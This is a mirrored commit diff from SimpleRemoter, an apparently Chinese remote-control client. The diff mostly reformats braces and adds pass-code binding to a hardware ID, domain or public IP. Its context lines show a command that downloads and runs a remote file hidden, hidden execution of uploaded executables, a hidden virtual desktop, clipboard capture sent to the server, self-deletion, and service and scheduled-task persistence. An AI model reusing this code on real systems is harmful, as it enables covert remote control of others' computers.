mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feat&Improve: Support gen pass code binding with domain
This commit is contained in:
@@ -193,7 +193,7 @@ int main(int argc, const char *argv[])
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
Sleep(1000);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -51,16 +51,17 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
|
||||
#else
|
||||
void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
return ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac);
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||
CScreenManager m(ClientObject, 32, (void*)1);
|
||||
|
||||
@@ -110,7 +110,10 @@ public:
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
// Tip: 在派生类实现该函数以便支持断线重连
|
||||
virtual BOOL OnReconnect() { return FALSE; }
|
||||
virtual BOOL OnReconnect()
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
@@ -133,7 +136,8 @@ public:
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
static int ReconnectProcess(void* user) {
|
||||
static int ReconnectProcess(void* user)
|
||||
{
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
return FALSE;
|
||||
@@ -196,7 +200,8 @@ public:
|
||||
{
|
||||
return m_bIsRunning;
|
||||
}
|
||||
VOID StopRunning() {
|
||||
VOID StopRunning()
|
||||
{
|
||||
m_ReconnectFunc = NULL;
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
|
||||
@@ -408,18 +408,21 @@ bool EnableShutdownPrivilege()
|
||||
return true;
|
||||
}
|
||||
|
||||
class CDownloadCallback : public IBindStatusCallback {
|
||||
class CDownloadCallback : public IBindStatusCallback
|
||||
{
|
||||
private:
|
||||
DWORD m_startTime;
|
||||
DWORD m_timeout; // 毫秒
|
||||
|
||||
public:
|
||||
CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) {
|
||||
CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs)
|
||||
{
|
||||
m_startTime = GetTickCount();
|
||||
}
|
||||
|
||||
HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax,
|
||||
ULONG ulStatusCode, LPCWSTR szStatusText) override {
|
||||
ULONG ulStatusCode, LPCWSTR szStatusText) override
|
||||
{
|
||||
// 超时检查
|
||||
if (GetTickCount() - m_startTime > m_timeout) {
|
||||
return E_ABORT; // 取消下载
|
||||
@@ -428,18 +431,46 @@ public:
|
||||
}
|
||||
|
||||
// 其他接口方法返回默认值
|
||||
HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; }
|
||||
HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
// IUnknown
|
||||
ULONG STDMETHODCALLTYPE AddRef() override { return 1; }
|
||||
ULONG STDMETHODCALLTYPE Release() override { return 1; }
|
||||
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
|
||||
ULONG STDMETHODCALLTYPE AddRef() override
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
ULONG STDMETHODCALLTYPE Release() override
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override
|
||||
{
|
||||
if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) {
|
||||
*ppv = this;
|
||||
return S_OK;
|
||||
@@ -448,7 +479,8 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
void DownExecute(const std::string &strUrl, CManager *This) {
|
||||
void DownExecute(const std::string &strUrl, CManager *This)
|
||||
{
|
||||
// 临时路径
|
||||
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
|
||||
GetTempPathA(MAX_PATH, szTempPath);
|
||||
@@ -458,17 +490,14 @@ void DownExecute(const std::string &strUrl, CManager *This) {
|
||||
// 下载并运行
|
||||
const int timeoutMs = 30 * 1000;
|
||||
CDownloadCallback callback(timeoutMs);
|
||||
if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback))
|
||||
{
|
||||
if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) {
|
||||
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
||||
Mprintf("Download Exec Success: %s\n", strUrl.c_str());
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID());
|
||||
ClientMsg msg("执行成功", buf);
|
||||
This->SendData(LPBYTE(&msg), sizeof(msg));
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
Mprintf("Download Exec Failed: %s\n", strUrl.c_str());
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Client %llu download exec failed", This->GetClientID());
|
||||
@@ -477,6 +506,32 @@ void DownExecute(const std::string &strUrl, CManager *This) {
|
||||
}
|
||||
}
|
||||
|
||||
#include "common/location.h"
|
||||
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
||||
{
|
||||
config* m_iniFile = nullptr;
|
||||
#ifdef _DEBUG
|
||||
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||||
#else
|
||||
m_iniFile = new iniFile;
|
||||
#endif
|
||||
int version = m_iniFile->GetInt("settings", "BindType", 0);
|
||||
std::string master = m_iniFile->GetStr("settings", "master");
|
||||
SAFE_DELETE(m_iniFile);
|
||||
switch (version) {
|
||||
case 0:
|
||||
return getHardwareID();
|
||||
case 1: {
|
||||
if (!master.empty()) {
|
||||
return master;
|
||||
}
|
||||
IPConverter cvt;
|
||||
return cvt.getPublicIP();
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
@@ -489,21 +544,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
std::string publicIP = m_ClientObject->GetClientIP();
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case CMD_SET_GROUP:{
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC:
|
||||
{
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPLOAD_EXEC:
|
||||
{
|
||||
case COMMAND_UPLOAD_EXEC: {
|
||||
if (ulLength < 5) break;
|
||||
|
||||
DWORD dwFileSize = *(DWORD*)(szBuffer + 1);
|
||||
@@ -516,8 +569,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086);
|
||||
|
||||
FILE* fp = fopen(szSavePath, "wb");
|
||||
if (fp)
|
||||
{
|
||||
if (fp) {
|
||||
fwrite(pFileData, 1, dwFileSize, fp);
|
||||
fclose(fp);
|
||||
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
||||
@@ -583,7 +635,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||||
if (passCode[0] == 0) {
|
||||
std::string devId = getDeviceID();
|
||||
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||||
static std::string hashedID = hashSHA256(hardwareId);
|
||||
static std::string devId = getFixedLengthID(hashedID);
|
||||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||
|
||||
@@ -202,7 +202,8 @@ public:
|
||||
CloseHandle(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
virtual uint64_t GetClientID() const override {
|
||||
virtual uint64_t GetClientID() const override
|
||||
{
|
||||
return m_conn->clientID;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -277,13 +277,14 @@ std::string GetCurrentUserNameA()
|
||||
#define XXH_INLINE_ALL
|
||||
#include "server/2015Remote/xxhash.h"
|
||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
|
||||
std::string s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += clientInfo[i] + "|";
|
||||
}
|
||||
s.erase(s.length()-1);
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||
{
|
||||
std::string s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += clientInfo[i] + "|";
|
||||
}
|
||||
s.erase(s.length()-1);
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||
|
||||
@@ -65,7 +65,8 @@ public:
|
||||
{
|
||||
m_bReady = ready;
|
||||
}
|
||||
virtual uint64_t GetClientID() const {
|
||||
virtual uint64_t GetClientID() const
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -25,7 +25,8 @@ public:
|
||||
{
|
||||
for (size_t i = 0; i < numThreads; ++i) {
|
||||
workers.emplace_back([this] {
|
||||
while (true) {
|
||||
while (true)
|
||||
{
|
||||
std::function<void()> task;
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(this->queueMutex);
|
||||
@@ -239,12 +240,13 @@ public:
|
||||
}
|
||||
|
||||
public:
|
||||
virtual BOOL UsingDXGI() const {
|
||||
virtual BOOL UsingDXGI() const
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
//*************************************** 图像差异算法(串行) *************************************
|
||||
ULONG CompareBitmapDXGI(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
||||
{
|
||||
// Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
@@ -267,8 +269,7 @@ public:
|
||||
if (channel != 1) {
|
||||
memcpy(p, pos2, ulCount);
|
||||
p += ulCount;
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
|
||||
LPBYTE src = (LPBYTE)pos2;
|
||||
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
@@ -283,7 +284,7 @@ public:
|
||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0)
|
||||
{
|
||||
if (UsingDXGI())
|
||||
if (UsingDXGI())
|
||||
return CompareBitmapDXGI(CompareSourData, CompareDestData, szBuffer, ulCompareLength, algo, startPostion);
|
||||
|
||||
LPBYTE p = szBuffer;
|
||||
@@ -458,15 +459,18 @@ public:
|
||||
return offset; // 返回缓冲区的大小
|
||||
}
|
||||
|
||||
virtual int GetFrameID() const {
|
||||
virtual int GetFrameID() const
|
||||
{
|
||||
return m_FrameID;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
virtual LPBYTE GetFirstBuffer() const
|
||||
{
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
virtual int GetBMPSize() const {
|
||||
virtual int GetBMPSize() const
|
||||
{
|
||||
assert(m_BitmapInfor_Full);
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
@@ -40,7 +40,8 @@ public:
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
}
|
||||
|
||||
virtual BOOL UsingDXGI() const {
|
||||
virtual BOOL UsingDXGI() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
@@ -31,32 +31,11 @@
|
||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int UninitFileUpload()
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
std::vector<std::string> GetClipboardFiles(int &result)
|
||||
{
|
||||
return{};
|
||||
}
|
||||
bool GetCurrentFolderPath(std::string& outDir)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
finish(user);
|
||||
return 0;
|
||||
}
|
||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "FileUpload_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "FileUpload_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
@@ -196,38 +175,40 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
|
||||
}
|
||||
|
||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
|
||||
{
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess)
|
||||
{
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
|
||||
return bFound;
|
||||
return bFound;
|
||||
}
|
||||
|
||||
void CScreenManager::InitScreenSpy()
|
||||
@@ -250,29 +231,26 @@ void CScreenManager::InitScreenSpy()
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||||
if (DXGI == USING_VIRTUAL) {
|
||||
m_virtual = TRUE;
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
}
|
||||
else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||
{
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
} else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) {
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
} else {
|
||||
HDESK hDesk = OpenActiveDesktop();
|
||||
if (hDesk) {
|
||||
@@ -600,46 +578,46 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||||
|
||||
VOID CScreenManager::SendClientClipboard(BOOL fast)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
// 改为获取 Unicode 格式
|
||||
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
|
||||
if (hGlobal == NULL) {
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
// 改为获取 Unicode 格式
|
||||
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
|
||||
if (hGlobal == NULL) {
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
|
||||
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
||||
if (pWideStr == NULL) {
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
|
||||
if (pWideStr == NULL) {
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
|
||||
// Unicode 转 UTF-8
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 0) {
|
||||
GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
// Unicode 转 UTF-8
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 0) {
|
||||
GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
|
||||
if (fast && utf8Len > 200 * 1024) {
|
||||
Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len);
|
||||
GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
if (fast && utf8Len > 200 * 1024) {
|
||||
Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len);
|
||||
GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
|
||||
LPBYTE szBuffer = new BYTE[utf8Len + 1];
|
||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL);
|
||||
LPBYTE szBuffer = new BYTE[utf8Len + 1];
|
||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL);
|
||||
|
||||
GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
|
||||
m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1);
|
||||
delete[] szBuffer;
|
||||
m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -17,7 +17,8 @@ static ServiceLogFunc Log = NULL;
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
void MyLog(const char* file, int line, const char* format, ...) {
|
||||
void MyLog(const char* file, int line, const char* format, ...)
|
||||
{
|
||||
if (Log == NULL) {
|
||||
return; // 没有设置日志回调,直接返回
|
||||
}
|
||||
@@ -348,16 +349,16 @@ BOOL ServiceWrapper_Install(void)
|
||||
|
||||
for (int i = 0; i < retryCount; i++) {
|
||||
schService = CreateService(
|
||||
schSCManager,
|
||||
g_MyService.Name,
|
||||
g_MyService.Display,
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
szPath,
|
||||
NULL, NULL, NULL, NULL, NULL
|
||||
);
|
||||
schSCManager,
|
||||
g_MyService.Name,
|
||||
g_MyService.Display,
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
szPath,
|
||||
NULL, NULL, NULL, NULL, NULL
|
||||
);
|
||||
if (schService != NULL) {
|
||||
break; // 成功
|
||||
}
|
||||
@@ -509,14 +510,14 @@ BOOL ServiceWrapper_Uninstall(void)
|
||||
Mprintf("SUCCESS: Service uninstalled successfully\n");
|
||||
} else {
|
||||
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
|
||||
result = FALSE;
|
||||
result = FALSE;
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
Mprintf("=== Uninstallation Complete ===\n");
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
|
||||
void PrintUsage()
|
||||
@@ -538,8 +539,8 @@ BOOL RunAsWindowsService(int argc, const char* argv[])
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
|
||||
BOOL b = ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
|
||||
registered ? "Yes" : "No", running ? "Yes" : "No");
|
||||
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
|
||||
registered ? "Yes" : "No", running ? "Yes" : "No");
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
|
||||
if (registered) {
|
||||
@@ -549,7 +550,7 @@ BOOL RunAsWindowsService(int argc, const char* argv[])
|
||||
// 使用不区分大小写的比较
|
||||
_strlwr(servicePath);
|
||||
_strlwr(curPath);
|
||||
BOOL same = (strstr(servicePath, curPath) != 0);
|
||||
BOOL same = (strstr(servicePath, curPath) != 0);
|
||||
if (registered && !same) {
|
||||
BOOL r = ServiceWrapper_Uninstall();
|
||||
Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
|
||||
|
||||
@@ -41,8 +41,8 @@ struct CONNECT_ADDRESS {
|
||||
char runningType; // 运行方式
|
||||
char szGroupName[24]; // 分组名称
|
||||
char runasAdmin; // 是否提升权限运行
|
||||
char szReserved[11]; // 占位,使结构体占据300字节
|
||||
uint64_t clientID; // 客户端唯一标识
|
||||
char szReserved[11]; // 占位,使结构体占据300字节
|
||||
uint64_t clientID; // 客户端唯一标识
|
||||
uint64_t parentHwnd; // 父进程窗口句柄
|
||||
uint64_t superAdmin; // 管理员主控ID
|
||||
char pwdHash[64]; // 密码哈希
|
||||
|
||||
@@ -105,8 +105,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE);
|
||||
pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
|
||||
pSettings->lpVtbl->Release(pSettings);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("获取配置设置失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
|
||||
@@ -130,8 +129,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
